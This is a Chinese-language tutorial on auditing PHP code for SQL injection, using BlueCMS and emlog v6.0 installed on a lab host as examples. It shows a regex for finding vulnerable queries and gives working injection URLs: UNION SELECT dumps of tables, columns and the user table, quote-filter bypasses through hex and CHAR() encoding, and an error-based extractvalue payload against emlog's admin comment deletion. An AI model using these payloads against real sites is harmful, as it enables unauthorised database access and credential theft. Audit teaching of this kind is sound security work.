代码审计入门 原生态sql注入篇
前置知识:
漏洞形成的原因:
1、可控的参数 2、函数缺陷
代码审计的步骤:
1、全局使用正则搜索 漏洞函数 ,然后根据函数看变量是否可控,再看函数是否有过滤
2、根据web的功能点寻找函数,然后根据函数看变量是否可控,再看函数是否有过滤
sql注入代码前置知识
代码常见语句
-功能追踪-功能点文件SQL执行代码函数调用链追踪
-根据代码搜索-正则搜索-(update|select|insert|delete|).*?where.*=
(update|select|insert|delete|).*?where.*=
案例一:bluecms
案例使用的web全是纯手搓的项目 使用思路 1 先使用正则表达式 去查找对应的函数(代码审计就是 寻函数找方法)
全局使用正则去搜索
使用正则搜索的时候 发现这些有个目录的路径 : 我们需要看一下这些目录的作用 (可以查看里面的内容 或者是按照这个英文单词翻译)
那我们不需要找这些 admin 目录下的(影响比较鸡肋 后台内的sql注入需要有后台的权限)
挨个分析 一下 看看有没有过滤什么的
为了便于分析
加一个输出语句
找到漏洞语句 之后就看有没有回显
发现是有回显的
但是下边有一个
if($ad['time_set'] == 0) //如果广告设置了 ==0 表示永远有效
{$ad_content = $ad['content'];
}
else // 否则 如果广告小于 广告商给的时间 就下架
{if($ad['end_time'] < time()){$ad_content = $ad['exp_content'];}else{$ad_content = $ad['content']; //否则就显示内容}
}
这个进行搜索一下这个就是广告逻辑 设置广告 这个页面呢可能就是广告商页面 上边的参数可能就是从数据库中 找哪个广告
$ad_content = str_replace('"', '\"',$ad_content); //对内容进行过滤 如果内容中有这些符号就会被替换
$ad_content = str_replace("\r", "\\r",$ad_content);
$ad_content = str_replace("\n", "\\n",$ad_content);
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n"; // 输出内容 但是这个现实呢 是进行html注释的内容
这个思路就是根据代码函数找缺陷然后找到功能点的web页面
这个 ad_id 就是注入点
使用192.168.21.12:70/ad_js.php?ad_id=1 order by 7
进行产看是有 7个 查询列的 查看回显的时候要查看源代码
http://192.168.21.12:70/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database();%20%23
有个小过滤
就是会过滤我们的 '' "" 导致 where="" 失效 绕过手段
sql注入中字符串 "" 被过滤:
1、进行16进制编码
view-source:http://192.168.21.12:70/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x626C75655F75736572%23
2、使用 char 进行拼接 char可以把ascii码转为字符串 blue_user 拼接
CHAR(98,108,117,101,95,117,115,101,114) b的ascii就是 98
http://192.168.21.12:70/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=CHAR(98,108,117,101,95,117,115,101,114)%23
http://192.168.21.12:70/ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,user_id,user_name%20from%20blue_user
案例二 : emlog v6.0版
这个的sql注入点在 后台
(update|select|insert|delete|).*?where.*=
正则搜索一下
数据库监听脚本工具的使用
它的作用就是 可以监听我们进行访问web页面时触发的sql语句
基本使用
github上搜索 :MySQL-Monitor-master
在这个config下有泄露
玩法 : 访问后台
就三个语句
分析一下可能 这个就是查找用户的 所以我们根据这个功能 锁定一下代码
还有一层判断逻辑
$sql = "SELECT DISTINCT gid FROM ".DB_PREFIX."comment WHERE ip='$ip'";$ip = 1' and 1=1%23
http://192.168.21.12:70/admin/comment.php?action=delbyip&ip=1%27%20and%201=1%23
这个的验证
取一下token
http://192.168.21.12:70/admin/comment.php?action=delbyip&token=7371404e1fba139c96aa07029178fe70 and ip=1' order by 5%23是吧这个其实是不对的 需要把 token 放到后边的话需要进行 拼接 http://192.168.21.12:70/admin/comment.php?action=delby and ip=1' order by 5--+&token=7371404e1fba139c96aa07029178fe70--+ 拼接
?action=delbyip&ip=127.0.0.1%27and(extractvalue(1,concat(0x7e,(select%20user()),0x7e)))%20--+&token=7371404e1fba139c96aa07029178fe70extractvalue : 执行xml语句使用xml的形式就是为了让他报错回显